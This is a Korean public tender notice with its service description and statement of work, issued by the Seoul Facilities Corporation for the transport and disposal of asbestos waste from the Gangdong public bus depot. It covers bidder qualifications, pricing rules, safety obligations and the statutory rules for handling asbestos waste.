===== 1. 공고문_강동공영차고지 지정폐기물(석면) 운반 및 처리용역.pdf =====
서울시설공단 공고 용역 2026-192
용역 수의계약 안내공고
1. 견적에 부치는 사항
전자 견적서 접수(투찰)기간
개찰일시 및 장소
건 명 개시일시 마감일시
강동공영차고지 지정폐기물(석면) 2026. 09. 08. 2026. 09. 15. ․ 2026. 09. 15.(화) 11:00
(화) 20:00
(화) 10:00
․ 공단 입찰집행관 PC
운반 및 처리용역
2. 용역개요 : 과업내용서 등 필히 참조
가. 목적 : 강동공영차고지 석면 함유 마감재를 해체‧제거하여 근로자의 건강을 보호하고
쾌적한 근무환경을 제공하고자 함
나. 대상시설물
○ 위
치 : 강동공영차고지(강동구 아리수로 426)
○ 용역범위 : 강동공영차고지 지정폐기물(석면) 운반 및 처리
○ 용역기간 : 착수일로부터 60일
○ 용역개요
- 지정폐기물(석면) 운반 및 처리 13.46ton
※ 첨부된 ‘용역설명서, 과업내용서’를 반드시 열람, 확인하신 후 입찰에 응해주시기 바라며,
공고문 등 관련 내용을 숙지하지 못하여 발생하는 문제에 대한 책임은 입찰자에게 있습니다.
※ 사업 관련 문의 : 서울시설공단 주차시설운영처 (서진석 ☎ 02-2290-6325)
3. 용역기간 : 착수일로부터 60일
4. 설계가격(기초)금액 : 금 11,253,000원 (부가가치세 포함)
5. 계약방법 : 전자공개수의계약 (2인이상 견적 제출)
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6. 참가자격
가. 『지방자치단체를 당사자로 하는 계약에 관한 법률 시행령』 제13조 및 동법 시행규칙 제14조의
자격요건을 구비하고,『폐기물관리법』 제25조에 따른 폐기물수집‧운반업(지정폐기
물)(업종코드 1229) 및 폐기물중간처분업(지정폐기물)(업종코드 1254) 또는
폐기물수집‧운반업(지정폐기물)(업종코드 1229) 및 폐기물중간처분업(지정폐
기물)(업종코드 1254) 및 폐기물최종처분업(지정폐기물)(업종코드 1389) 허
가를 모두 갖춘 업체이어야 합니다.
※ 단, 폐기물중간처분업 또는 폐기물최종처분업을 입찰참가자격으로 등록한 자로서 「폐기물관리법
시행규칙」별표7제1호다목의 장비기준을 충족한 경우에는 폐기물 수집·운반업으로 입찰참가
등록하지 않아도 참여가 가능합니다.
※ 폐기물수집․운반업(지정폐기물), 폐기물중간처분업(지정폐기물)의 허가만 득한 업체인 경우
지정폐기물 전량에 대하여 중간처리(고형화)능력이 불가능할 경우에는 낙찰자선정에서 배제
하며, 용역 완수 후 지정폐기물 전량을 중간처리한 지정폐기물처리확인서(처리자용 인계내역
첨부)를 제출하여야 합니다
※ 영업대상폐기물에
“폐석면”이 명시되어 있어야 합니다.
나. 업종 보완을 위하여 공동도급(분담이행방식)이 가능하며, 공동수급체의 구성원 수는
대표사를 포함하여 3개사 이내로 하며, 대표사는 처리업체이어야 합니다.
※ 분담이행 비율 : 수집·운반 27.37%, 처리 72.63% (금액기준)
다. 지방자치단체를 당사자로 하는 계약에 관한 법률 제31조에 의한 부정당업자 및 제31조의5에
의하여 조세포탈 등을 한 자는 견적서 제출에 참여할 수 없습니다.
라. 『지방자치단체를 당사자로 하는 계약에 관한 법률』 제33조 제2항과 관련된 결격사유가 없어야
합니다. (지방자치단체장 및 지방의회의원과 그 배우자, 직계 존비속 등 수의계약 체결 제한)
마. 본 견적서 제출은 전자입찰 방식으로 집행되므로 국가종합전자조달시스템(나라장터)의 전자
입찰 등록을 필한 업체이어야 하며, 미등록 업체는 입찰집행일 전일까지 국가종합전자조달홈
페이지(http://www.g2b.go.kr) 입찰시스템에 이용자 등록을 하여야 합니다.
바. 미 자격자가 고의로 입찰에 참가하여 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령
제92조 제2항 1호 나목 등에 해당된다고 판단될 경우, 관계 규정에 따라 부정당업자로 제재
할 수 있습니다.
사. 본 사업은 『중소기업제품 구매촉진 및 판로지원에 관한 법률 시행령』 제2조의3 제1항 제3호
및 제4호에 의거하여 중소기업자와의 우선조달계약에 대한 예외를 적용합니다.
※ 위 가~사 항 모두에 해당되는 업체이어야 합니다.
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7. 공동수급협정서 제출 (필요시)
가. 공동수급협정서 제출기한 : 개찰일 전일 18:00 까지
나. 공동수급협정서는 국가종합전자조달시스템이 제공하는 기능에 따라 각 회사가 제출한 후, 이를
대표업체가 승인하여 제출하는 것으로 합니다. 대표업체 승인은 입찰서 제출이전에 이루어져야
하며, 입찰서를 먼저 제출하였을 경우에는 대표업체의 단독입찰로 간주하여, 공동수급협정서
제출 또는 승인 되지 않습니다.
다. 대표자는 반드시 공동수급협정서 제출여부를 “보낸문서함”에서 확인하시기 바랍니다.
라. 공동수급체를 구성할 경우에는 「독점규제 및 공정거래에 관한 법률」에 의한 계열회사가 아니어야
하고 공동수급체의 중복결성은 금지합니다.
8. 계약상대자 결정
가. 본 용역은 입찰서에 산출내역서를 첨부하지 않는 총액입찰이며, 소액수의견적 대상이므로
적격심사는 생략합니다.
나. 예정가격은 기초금액의 ±3% 범위 내에서 작성한 복수예비가격 15개 중에서 견적에 참여한
각 업체가 2개씩 전자 추첨하여 가장 많이 선택된 4개의 예비가격을 산술평균한 금액으로 합니다.
다. 본 견적 제출은 예정가격 대비 90% 이상으로 제출한 자 중 최저가격으로 제출한 자 순서에 따라
아래 ‘수의계약 배제사유’ 중 어느 하나에도 해당되지 않는 자를 계약상대자로 결정합니다.
※ 동가 입찰 시, 전자조달시스템의 자동추첨프로그램을 적용하여 낙찰자를 결정합니다.
수의계약 배제사유
① 견적서 제출 마감일 현재 부도 · 파산 · 해산 · 영업정지 등이 확정된 경우
② 입찰참가자격 제한기간 중에 있는 자(법 제31조 제5항에 해당되는 경우 예외)
③ 견적서 제출 마감일을 기준으로 법 제31조 또는 다른 법령에 따라 부실이행, 담합행위, 입찰 ․ 계약 서류의
허위 ․ 위조 제출, 입찰 · 낙찰 · 계약이행 관련 뇌물 제공으로 부정당업자 제재 처분을 받고 그 종료일
로부터 3개월이 지나지 아니한 자(법 제31조 제5항에 해당되는 경우 예외)
④ 공사 또는 기술용역의 경우 기술자 보유현황이 관련법령에 따른 업종등록 기준에 미달하는 자
※ 기술자 보유현황의 심사는 「낙찰자결정기준」제2장 시설공사 적격심사 세부기준 <별지 2>의 그밖에
해당공사 수행능력상 결격여부, 제3장 기술용역 적격심사 세부기준 <별표>의 기술인력 평가방법을
준용한다. 이때 ‘입찰공고일’은 ‘안내공고일’로 ‘적격심사서류 제출마감일’은 ‘견적서 제출마감일’로 본다.
⑤ 견적서 제출 마감일 기준 최근 3개월 이내에 해당 지방자치단체의 입찰 ․ 계약 및 그 이행과 관련하여
10일 이상 지연배상금 부과, 정당한 이행명령 거부, 불법하도급, 5회 이상 하자보수 또는 물의를
일으키는 등 신용이 떨어져 계약 체결이 곤란하다고 판단되는 자
⑥ 견적서 제출 마감일 기준 최근 3개월 이내에 해당 지방자치단체와의 계약 및 그 이행과 관련하여 정당한
이유 없이 계약에 응하지 아니하거나 포기서를 제출한 사실이 있는 자
※ 정당한 이유 없이 계약을 체결하지 아니하는 경우는 법 제31조에 따른 입찰참가자격 제한에는 해
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당되지 아니하나 수의계약 배제사유에 해당됨.
⑦ 수의계약 체결일 현재 법 제33조에 해당하는 자
1. 지방자치단체의 장 또는 지방의회의원의 배우자인 사업자(법인은 대표자)
2. 지방자치단체의 장 또는 지방의회의원(배우자 포함)의 직계 존·비속인 사업자
3. 지방자치단체의 장 또는 지방의회의원이 자본금 총액의 50%이상을 소유한 자
4. 지방자치단체의 장 또는 지방의회의원 가족(배우자, 직계존·비속)의 합산금액이 자본금 총액의 50%
이상을 소유한 사업자
5. 지방자치단체의 장 또는 지방의회의원 소유업체의 계열회사 등
⑧ 발주기관이 제한한 자격요건 등을 충족하지 아니한 자
⑨ 그밖에 계약담당자가 계약이행능력이 없다고 판단되는 명백한 증거가 있는 자
⑩ 「재난 및 안전관리 기본법」제60조에 따라 특별재난지역으로 선포된 지역의 재난복구공사(용역)의 경우
결격여부 심사일 현재 계약금액 5천만 원 이상 해당 업종 관급공사 또는 계약금액 2천만 원 이상 관급
용역이 3건 이상인 자. 다만, 동시에 여러건의 수의계약 체결 예정자로 선정된 경우에는 기존 계약을
포함하여 3건까지 수의계약을 체결할 수 있다.(단, 제3절의 “1”에 따른 2인 이상 견적서 제출 수의
계약에 한한다)
9. 입찰보증금
전자공개수의계약은 경쟁입찰이 아니므로 입찰보증금은 납부 받지 아니합니다.
10. 청렴계약 이행 준수
본 견적제출에 참가하고자 하는 자는 청렴계약이행을 위한 입찰특별유의서 및 청렴계약특수조건을 이행
하겠다는 “청렴계약이행 서약서”를 제출한 것으로 간주합니다. 다만, 계약 체결 시에는 낙찰업체의 대
표자가 서명한 ‘청렴계약이행 서약서’를 제출해야 합니다.
11. 근로자 권리보호 이행 서약서 제출
본 견적제출에 참가하고자 하는 자는 근로자 권리 보호를 위한 ‘근로자 권리보호 이행서약서’를 숙지
한 뒤, 견적 제출에 참가하여야 하며 입찰서를 제출한 자는 ‘근로자 권리보호 이행서약서’를 제출한
것으로 간주합니다. 다만 계약 체결 시에는 낙찰업체의 대표자가 서명한 ‘근로자 권리보호 서약서’를
제출해야 합니다.
12. 중대재해 처벌 등에 관한 법률 준수
가. 낙찰자는 “중대재해처벌법” 등 안전관련 법령에서 요구되는 중대재해예방 조치능력 및 안전관리
능력을 갖춘 업체여야 합니다.
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<안전 및 보건확보 의무사항(중대재해처벌법)>
① 재해예방에 필요한 인력·예산·점검 등 안전보건 관리체계의 구축 및 그
이행
② 재해 발생 시 재발방지 대책의 수립 및 그 이행
③ 중앙행정기관·지자체가 관계 법령에 따라 개선, 시정 등을 명한 사항 이행
④ 안전·보건 관계법령에 따른 의무이행에 필요한 관리상의 조치
나. 과업이행 전 기간에 걸쳐 관련법령 및 규정에서 정한 안전보건 확보 의무사항을 이행하여야 합니
다.
다. 본 입찰은 안전보건수준 평가대상사업이므로 계약상대자(공동도급시 포함)는「안전보건관리 활동계
획서」를 발주부서 에게 제출하여야 하며, 관련법령 및 규정에 따라「안전보건수준 평가」를 실시
하고 계약상대자는 평가를 위한 자료제출 및 보완요구에 성실히 응하여야 합니다.
라. 본 입찰에 참가하고자 하는 자는 근로자의 권리보호를 위한 「근로자 권리보호 이행 서약서」 및
중대재해 예방을 위한「안전보건관리 준수 서약서」를 숙지하신 후 입찰에 응하여야 하며, 입찰서
를 제출한 자는「근로자 권리보호 이행 서약서」및 중대재해 예방을 위한「안전보건관리 준수 서약
서」를 제출한 것으로 간주합니다. 다만 계약 체결 시에는 낙찰업체의 대표자가 서명한 서약서를
제출해야 합니다.
13. 입찰의 무효
가. 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령」제39조 및 같은 법 시행규칙 제42조,
지방자치단체 입찰 및 계약집행 기준, 전자입찰 특별유의서, 국가 조달시스템 조달입찰
이용약관 등에 의합니다.
※ 입찰에 참여하는 자는 조달청 경쟁입찰 참가자격 등록증의 정보와 법인등기부등본 상의 정보가
정확히 일치하는지의 여부를 반드시 확인하신 후 입찰에 참여하여 주시기 바랍니다.(대표자,
상호, 면허사항 등) 위의 등록사항에 변경이 있을 경우에는 반드시 경쟁입찰 참가자격 등록증을
변경하여야 하며 변경등록을 하지 아니하고 입찰에 참여한 경우에는 「지방자치단체를 당사자로
하는 계약에 관한 법률 시행규칙」제42조에 의하여 입찰무효 사유에 해당됩니다.
※ 한 업체의 소속 대표자 중 1인이 다른 업체의 대표자를 겸임 할 경우 해당 업체들이 하나의
입찰에 동시 참여하면 동일인이 2통의 입찰서를 제출한 것으로 간주되어 모두 무효 입찰로
처리됩니다. 이에 따라 대표자가 2인 이상인 업체의 경우 조달청 입찰참가자격 등록 시 대표자
전원을 등록하여야 하고, 현재 1인만 등록된 경우에는 변경 등록을 하여야 하며, 변경 등록을
하지 아니하고 입찰에 참가한 자는 지방계약법 시행규칙 제42조 제5호 나목에 의하여 입찰
무효 사유에 해당됩니다.
나. 1인이 다수인의 공인인증서를 차용하여 입찰서를 제출한 경우에는「지방자치단체를 당사자로
하는 계약에 관한 법률 시행규칙」제42조 제4호의 규정에 따라 무효 입찰에 해당됨과 동시에
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당해 입찰자(공인인증서 차용자 및 대여자)는 지방자치단체를 당사자로 하는 계약에 관한 법률
시행령 제92조 제1항 제8호 또는 제9호의 규정에 따라 부정당업자 제재 대상에 해당될 수
있습니다.
14. 견적서 제출시, 유의사항 및 기타사항
가. 본 견적 제출은 조달청에서 구축한 전자입찰시스템으로만 진행합니다.
- 견적 제출은 반드시 나라장터 시스템의 ‘입찰정보’를 이용하여 제출
- 견적서 제출 여부 확인 : 나라장터 시스템 ‘전자문서함’ - ‘보낸문서’
※ 견적서 제출자의 전산장비 및 네트워크상의 문제 또는 운영 미숙 등으로 발생되는 모든 책임은
견적서 제출자에게 있습니다.
나. 참가자격을 위반한 자의 견적 제출 등 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령
제39조 (입찰서의 제출∙접수 및 입찰의 무효) 및 같은 법 시행규칙 제42조 (입찰무효) 등의 요건에
해당하는 견적제출은 무효처리 합니다.
다. 견적 제출자는 공고문, 용역설명서, 과업내용서, 전자입찰 특별유의서, 공공입찰 통합관리시스템
입찰자용 이용약관, 지방자치단체를 당사자로 하는 계약에 관한 법률 등 입찰 관련 법령, 지방
자치단체 입찰시 낙찰자 결정기준(행정안전부 예규), 청렴계약이행서약서, 근로자 권리보호
서약서 등 견적서 제출에 필요한 모든 사항을 완전히 숙지하여야 하며, 이를 숙지하지 못한
책임은 견적 제출자에게 있습니다.
라. 본 견적 제출은 전자입찰 입찰자 신원확인제도가 적용되므로, 개인인증서를 보유한 대표자
또는 입찰 대리인만 견적서 제출이 가능합니다.
마. 낙찰자는 계약체결 시, 인지세법 제3조 및 동법 시행령 제2조의3에 의거하여 계약금액에 따른
인지세를 납부하여야 합니다.
바. 투찰금액은 면세사업자라 하더라도 반드시 부가가치세를 포함한 금액으로 제출하시기 바랍니다.
입찰결과 부가가치세 면제대상인 경우 투찰금액에서 부가가치세를 차감한 금액을 계약금액으로
계약을 체결합니다.
사. 발주부서의 명시적 승인 없는 하도급을 불허하며, 이는 부정당업자 제재의 원인이 될 수 있습니다.
아. 계약내역서 작성 시 계약상대자(낙찰자)는 기초금액에 재해예방비(또는 안전관리비 등)가 반영된
(용역설명서, 과업내용서 등 참조) 경우, 이를 계약내역서에 조정 없이 반영하여야 하며, 이는
관련 증빙 및 감독자 검사에 따라 사후 정산될 수 있습니다.
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본 입찰과 관련하여 추가로 문의할 사항이 있으시면 아래의 담당자에게 연락하시기 바랍니다.
○ 입찰안내 상담 및 입찰참가 자격등록 : 조달청 정부조달 콜센터 (☎ 1588-0800)
○ 계약 문의사항 : 서울시설공단 총무처 김제희 (☎ 02-2290-6154)
○ 사업 문의사항 : 서울시설공단 주차시설운영처 서진석 (☎ 02-2290-6325)
※ 입찰등록 ․ 입찰결과 안내 : 조달청 국가종합전자조달시스템(http://www.g2b.go.kr)
위와 같이 공고합니다.
2026. 09. 08.
서울시설공단 이사장
<부패행위 신고안내>
우리 공단은 공직자비리, 하도급 부조리 등 공정거래를 해하는 부패행위에 대해서
신고접수를 받고 있습니다. 관련 부패행위를 알고 계시다면 아래 “부패·공익신고센터”로
신고하여 주시기 바랍니다.
☞ 신고방법 : 서울시설공단 홈페이지 접속(www.sisul.or.kr)>부패·공익신고센터
서울시설공단 감사실(부패방지팀) : ☎ 02-2290-6219
<시장 핫라인, 甲의 부당행위 신고센터 운영 안내>
서울시는 시 산하기관 직원이 입찰 및 계약을 진행하는 과정에서 행사하는 부당
행위를 근절하기 위해 아래와 같이 「시장 핫라인 甲의 부당행위 신고센터」를 운영하
고 있으니 적극 활용하여 주시기 바랍니다.
1. 접수부서 : 서울특별시 감사담당관
2. 신고방법 : 온라인 접수
- 서울시 전자민원 응답소(http://eungdapso.seoul.go.kr)
※ 신고자의 인적사항 등은 감사관 외에는 철저히 비공개 처리됩니다.
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===== 2. 용역설명서(강동공영차고지 지정폐기물(석면) 운반 및 처리용역).hwp =====
용 역 설 명 서
1. 용 역 명 : 강동공영차고지 지정폐기물(석면) 운반 및 처리용역
2. 용역목적
○ 강동공영차고지 석면 함유 마감재를 해체‧제거하여 근로자의 건강을 보호하고 쾌적한 근무환경을 제공하고자 함
3. 용역개요
○ 위
치 : 강동공영차고지(강동구 아리수로 426)
○ 용역범위 : 강동공영차고지 지정폐기물(석면) 운반 및 처리
○ 용역기간 : 착수일로부터 60일 ○ 용역개요
- 지정폐기물(석면) 운반 및 처리 13.46ton
○ 총용역비 : 금11,253,000원(금일천일백이십오만삼천원)
4. 계약방법 및 자격조건 : 전자공개 수의계약
- 폐기물수집․운반업(지정폐기물), 폐기물중간처분업(지정폐기물) 또는 폐기물수집․운반업(지정폐기물), 폐기물중간처분업(지정폐기물), 폐기물최종처분업(지정폐기물) 허가를 모두 득한 업체(영업대상 폐기물이 폐석면인 업체)
- 단, 분담이행방식에 의한 공동계약이 가능하고 공동수급인원은 대표사를 포함하여 3개사 이내이어야 하며, 공동수급대표자는 폐기물중간처분업(지정폐기물) 또는 폐기물최종처분업(지정폐기물)을 등록한 업체
※ 폐기물수집․운반업(지정폐기물), 폐기물중간처분업(지정폐기물)의 허가만 득한 업체인 경우 지정폐기물 전량에 대하여 중간처리(고형화)능력이 불가능할 경우에는 낙찰자선정에서 배제하며, 용역 완수 후 지정폐기물 전량을 중간처리한 지정폐기물처리확인서(처리자용 인계내역 첨부)를 제출하여야 합니다.
5. 예산과목 : 대행사업비, 공영차고지, 수선유지비, 수선유지비(기타수선유지)
6. 기타사항
○ 서울시 건설일자리 혁신방안 시행(20.07.01)에 따른 “고용개선지원비” 적용 대상 용역임. (관련문의 : 서울시 건설혁신과 02-2133-8106~7)
○ 본 용역은 「용역근로자 노무비 구분관리 및 지급확인제」대상임.
○ 하도급대금, 장비․자재대금, 노무비의 적정 지급여부를 실시간으로 확인하는 “하도급지킴이” 의무 대상임.
○ 계약상대자는 중대재해 처벌 등에 관한 법률에 4조에 따른 ‘사업주와 경영책임자등의 안전 및 보건 확보의무’ 대상 용역임
○ 계약상대자는 근로자 보호 등을 위한 위험성평가(최초 및 수시)를 실시하고 제출하여야 함
===== 3. 과업내용서(강동공영차고지 지정폐기물(석면) 운반 및 처리용역).hwp =====
과 업 내 용 서
[ 강동공영차고지 지정폐기물(석면) 운반 및 처리용역 ]
2026. 08. 주차시설운영처 목 차 1. 과 업 개 요 2. 일 반 사 항 3. 특 기 사 항
4. 기
타
Ⅰ 과업개요 1. 용역명칭
본 공사의 명칭을 「강동공영차고지 지정폐기물(석면) 운반 및 처리용역」라 하고, 서울시설공단을 “발주기관”이라 하고, 용역사를 “계약상대자”라 한다.
2. 용역의 목적
본 공사의 목적은 강동공영차고지의 석면함유 마감재를 관련법에 따라 적법하게 해체한 후 지정폐기물을 관련 법령에 따라 적정하게 처리 및 운반하여 쾌적한 근무환경을 조성하고 이용시민 만족도 제고를 위함
3. 공사의 개요 및 범위
(1) 위
치 : 강동공영차고지(강동구 아리수로 426)
(2) 용역범위 : 지정폐기물(석면) 운반 및 처리 (수량 : 13.46ton)
(3) 용역기간 : 착수일로부터 60일 (4) 발주기관 및 연락처 ① 발 주 자 : 서울시설공단
② 주
소 : 중랑구 신내역로 25 중랑차고지 사무동 3층 주차시설운영처 차고지관리팀
③ 발주부서 : 주차시설운영처
④ 전화번호 : 02-2290-6325
Ⅱ 일반사항
1. 본 과업지시서는 강동공영차고지 석면해체·제거 및 마감공사에서 발생한 지정폐기물 처리·운반 용역에 대한 과업을 원활히 수행하기 위하여 필요한 사항을 규정한다.
2. 수급인은 계약문서에서 정하는 바에 따라 착수일 전에 착수계, 과업내용별 수행계획표, 대리인계, 용역수행자 명단 및 이력서 등 과업수행에 필요한 제반 서류를 제출하고, 과업별 시행 방법 등 세부계획을 보고하여야 한다.
3. 과업 참여 인원 및 기술진은 전문지식과 경험이 풍부한 전문가로 구성하여 합리적이고 효율적인 과업이 이루어지도록 하여야 한다.
4. 과업별 이행 방법 등 세부계획에는 운반자, 중간 처리자, 최종 처리자, 최종 반출지를 명시하여야 하며, 이를 변경할 때에는 감독원의 승인을 받아야 한다.
5. 수급인은 관련법규에 따른 각종 인ㆍ허가를 수급자 부담으로 득하여야 하며, 폐기물 처리 시 발생하는 각종 민원에 대하여는 수급인의 책임으로 해결하여야 한다.
6. 수급인은 본 과업수행에 있어서 관계기관 요구가 있을시 관계기관의 의견을 면밀히 검토하고 전문기관 또는 전문가에게 별도 자문을 받아 감독원과 협의하여 반영하여야 한다.
7. 본 과업지시서에 명시되지 않은 사항이라도 감독원이 필요하다고 인정하는 중요사항은 이에 따라야 하며, 관계기관의 사정에 의하여 변경이 있을 때에는 감독관의 방침에 따라야 한다.
8. 지정폐기물은 지정차량으로 운반하고, 야간작업에 따른 주민들의 피해(민원)가 발생하지 않도록 하여야 한다, 또한, 폐기물 운반차량 통행으로 비산먼지가 발생하지 않도록 현장 관리하여야 한다.
9. 보안사항
(1). 본 용역의 수행자는 정부 보안업무 규정, 보안업무규정 시행규칙 등을 준수한다.
(2). 당해 용역에 대하여는 작업장소를 제한구역으로 지정하고 외부인의 출입을 통제하야 한다.
10. 보안사항 및 폐기물 처리의 적정 이행여부를 확인하기 위하여 감독원이 요구하는 자료를 제출하여야 한다.
11. 지정 폐기물 수량은 은평차고지 석면제거 공사의 수량산출서를 근거로 산출 하였으며 처리수량에 대한 정산 방법 등은 감독원과 협의하여 처리한다.
12. 지정폐기물 분리수거를 철저히 하여야 하며, 폐기물 수량은 감독원에게 보고하고 정산 처리하여야 하며 감독원 요구 시 공증기관에서 샘플링 계근을 확인 할 수 있도록 협조하여야 한다.
13. 본 과업지시서 및 설계 도서의 내용과 다른 지정폐기물 발생 시 즉시 서면으로 감독원에 보고하고, 감독원 지시에 따라 처리하여야 한다.
14. 현장에서 반출된 지정폐기물은 중간처리장 및 최종처리장에 반입 여부를 확인 할 수 있도록 반출일별 인계 인수서를 관련 규정에 의거 작성하여 인계, 인수자가 각각 보관하고, 이를 증명할 수 있는 자료 (반출일시, 계근 증명서, 차량별 계근 사진 등)를 첨부하여 반출일 다음날 공사일지와 함께 감독원에게 제출하여야 한다.
15. 감독원의 허가 없이 반출할 수 없으며, 감독원이 반출중단 요구 시는 즉시 따라야 한다.
16. 폐기물 수집․운반 및 처리에 필요한 인력에 대하여는 “계약상대자”가 부담처리하고, “발주기관”의 요구에 따라 인원과 장비를 충분히 동원하여 필요시기 및 계약기간 내 합법적인 절차에 의거 수집․운반 및 처리하여야 한다.
17. 안전보건 관련 법령 준수
(1) 계약상대자는 “중대재해처벌법” 등 안전관련 법령에서 요구되는 중대재해예방 조치능력 및 안전관리 능력을 갖춘 업체여야 한다.
<안전 및 보건확보 의무사항(중대재해처벌법)>
① 재해예방에 필요한 인력·예산·점검 등 안전보건 관리체계의 구축 및 그 이행
② 재해 발생 시 재발방지 대책의 수립 및 그 이행
③ 중앙행정기관·지자체가 관계 법령에 따라 개선, 시정 등을 명한 사항 이행
④ 안전·보건 관계법령에 따른 의무이행에 필요한 관리상의 조치
(2) 안전보건수준 평가대상의 계약상대자(공동도급사 포함)는 계약체결 전 「안전보건관리 활동계획서」를 제출하여야 하며, 과업이행 전 기간에 걸쳐 관련법령 및 규정에서 정한 안전보건 확보 의무사항을 이행하여야 한다.
(3) 근로자의 권리보호를 위한 「근로자 권리보호 이행 서약서」 및 중대재해 예방을 위한 「안전보건관리 준수 서약서」를 계약 체결 시에 낙찰업체의 대표자가 서명하여 제출해야 한다.
(4) 계약상대자는 착수 시 최초 위험성평가를 실시하여야 한다.
1) 계약상대자는 용역 수행 시「중대재해 처벌 등에 관한 법률」에 따라 사업주와 경영책임자 등의 안전 및 보건 확보의무를 반드시 이행한다.
① 재해예방에 필요한 인력·예산·점검 등 안전보건 관리체계의 구축 및 그 이행
② 재해 발생 시 재발방지 대책의 수립 및 그 이행
③ 중앙행정기관·지자체가 관계 법령에 따라 개선, 시정 등을 명한 사항 이행
④ 안전·보건 관계 법령에 따른 의무이행에 필요한 관리상의 조치
2) 계약상대자는「중대재해 처벌 등에 관한 법률 시행령」 제4조 제3항에 따라 과업구간의 유해·위험요인에 대한 실태를 파악하고 이를 평가하여 관리·개선하는 위험성평가를 실시하고 그 결과를 발주기관에 제출하여야 한다.
Ⅲ 특기사항
■ 지정폐기물의 기준 및 방법(폐기물관리법 시행규칙 제14조[별표5])
1. 수집·운반의 경우
(1) 폐석면 중 작은 알갱이 상태의 것은 흩날리지 아니 하도록 폴리에틸렌이나 그 밖에 이와 비슷한 재질의 포대(흩날릴 우려가 있는 폐석면의 경우는 습도 조절 등의 조치 후 견고한 용기에 밀봉하거나 고밀도 내수성재질의 포대로 2중 포장한 것을 말한다)에 담아 수집·운반하여야 하고, 그 운반차량의 적재함에는 덮개를 덮어야 한다. 이 경우 폐석면을 수집·운반하는 차량은 4)의 표시 외에 적재함 양측에 가로 100센티미터 이상, 세로 50센티미터 이상의 크기로 흰색 바탕에 붉은색 글자로 폐석면 운반차량을 표시하거나 표지를 부착하여야 한다.
(2) 지정폐기물 수집·운반차량의 차체는 노란색으로 색칠하여야 한다. 다만, 임시로 사용하는 운반차량인 경우에는 그러하지 아니하다.
(3) 지정폐기물의 수집·운반차량 적재함의 양쪽 옆면에는 지정폐기물 수집·운반차량, 회사명 및 전화번호를 잘 알아 볼 수 있도록 붙이거나 표기하여야 한다. 이 경우 그 크기는 가로 100센티미터 이상, 세로 50센티미터 이상으로 하고, 검은색 글자로 하여 붙이거나 표기하되, 폐기물 수집·운반증을 발급하는 기관의 장이 인정하면 차량의 크기에 따라 붙이거나 표기하는 크기를 조정할 수 있다. 임시로 사용하는 운반차량의 경우에도 또한 같다.
2. 보관의 경우
(1) 지정폐기물은 지정폐기물 외의 폐기물과 구분하여 보관하여야 한다.
(2) 폐석면은 다음과 같이 보관한다.
가) 석면의 해체ㆍ제거작업에 사용된 바닥비닐시트, 방진마스크, 작업복 등 흩날릴 우려가 있는 폐석면은 습도 조절 등의 조치 후 고밀도 내수성재질의 포대로 2중포장하거나 견고한 용기에 밀봉하여 흩날리지 아니하도록 보관하여야 한다.
① 고형화 되어 있어 흩날릴 우려가 없는 폐석면은 폴리에틸렌, 그 밖에 이와 유사한 재질의 포대로 포장하여 보관하여야 한다.
(3) 지정폐기물은 지정폐기물에 의하여 부식되거나 파손되지 아니하는 재질로 된 보관시설 또는 보관용기를 사용하여 보관하여야 한다.
(4) 자체 무게 및 보관하려는 폐기물의 최대량 보관 시의 적재무게에 견딜 수 있고 물이 스며들지 아니하도록 시멘트·아스팔트 등의 재료로 바닥을 포장하고 지붕과 벽면을 갖춘 보관창고에 보관하여야 한다. 다만, 다음의 어느 하나에 해당하는 경우에는 그러하지 아니하다.
① 침출수가 발생하지 아니한다고 관할 시·도지사나 지방환경관서의 장이 인정하는 경우
② 침출수의 발생으로 주변 환경오염의 우려가 없다고 관할 시·도지사나 지방환경관서의 장이 인정하는 경우
③ 드럼 등 보관용기에 보관하는 경우로서 내용물이 흘러 나올 우려가 없고 용기 외부에 지정폐기물이 묻어 있지 아니한 경우(이 경우에는 폐기물의 최대량 보관 시의 적재무게에 견딜 수 있고 보관용기 취급과정에서 내용물이 외부에 흘러 나오지 아니하도록 시멘트·아스팔트 등으로 바닥을 포장하고 방류턱을 갖춘 시설에 보관하여야 한다)
(5) 지정폐기물의 보관창고에는 보관 중인 지정폐기물의 종류·양 및 배출업소 등을 각각 알 수 있도록 표지판에 적어 넣어야 한다.
① 보관창고에는 표지판을 사람이 쉽게 볼 수 있는 위치에 설치하여야 한다.
② 표지의 규격: 가로 60센티미터 이상×세로 40센티미터 이상(드럼 등 소형용기에 붙이는 경우에는 가로 15센티미터 이상×세로 10센티 미터 이상)
③ 표지의 색깔: 노란색 바탕에 검은색 선 및 검은색 글자
④ 표지판의 보기 지정폐기물 보관표지 ①폐기물의 종류: ②보관가능용량: 톤 ③관리책임자:
④보관기간:
~
(일간)
⑤취급 시 주의사항 ○보관 시: ○운반 시: ○처리 시: ⑥운반(처리)예정장소: 3. 처리의 경우 (1) 공통기준
지정폐기물을 시멘트로 고형화하는 경우에는 시멘트의 양이 1세 제곱미터당 150킬로그램 이상이어야 한다.
(2) 폐석면의 경우
① 분진이나 부스러기는 고온용융 처리하거나 고형화 처리하여야 한다.
② 고형화되어 있어 흩날릴 우려가 없는 것은 폴리에틸렌 그 밖에 이와 유사한 재질의 포대로 포장하여 지정폐기물매립시설에 매립하되, 매립과정에서 석면 분진이 날리지 아니하도록 충분히 물을 뿌리고 수시로 복토를 실시하여야 하며, 장비 등을 이용한 다짐ㆍ압축작업은 복토 후에 하여야 한다. 이 경우 다짐ㆍ압축작업 과정에서 폐석면이 복토층 표면으로 노출되어서는 아니 된다.
③ 석면의 해체·제거작업에 사용된 바닥비닐시트, 방진 마스크, 작업복 등은 고밀도 내수성재질의 포대에 2중으로 포장하거나 견고한 용기에 밀봉하여 지정폐기물매립시설에 매립하거나 고온 용융처리 또는 고형화처리하여야 한다.
④ 매립시설 내 일정구역을 정하여 매립하고, 매립구역임을 알리는 표지판을 다음과 같이 설치하여야 한다.
폐석면 매립 표지판 폐석면 종류 매립용량(㎥) 매립면적(㎥) 매립위치 매립기간 관리기관 (전화번호)
비고 1. 표지판은 사람이 쉽게 볼 수 있는 위치에 설치
2. 표지의 규격: 가로 80센티미터 이상×세로 80센티미터 이상
3. 표지의 색깔: 노란색 바탕에 검은색 선 및 검은색 글자
Ⅳ 기 타
1. 과업지시서에 명시되지 않은 사항은 감독원에게 보고 후 「폐기물관리법」, 「산업안전보건기준에 관한 규칙」 등 관련법령에 적법하게 추진하여야 하며, 이를 감독원과 협의 시행하여야 한다.
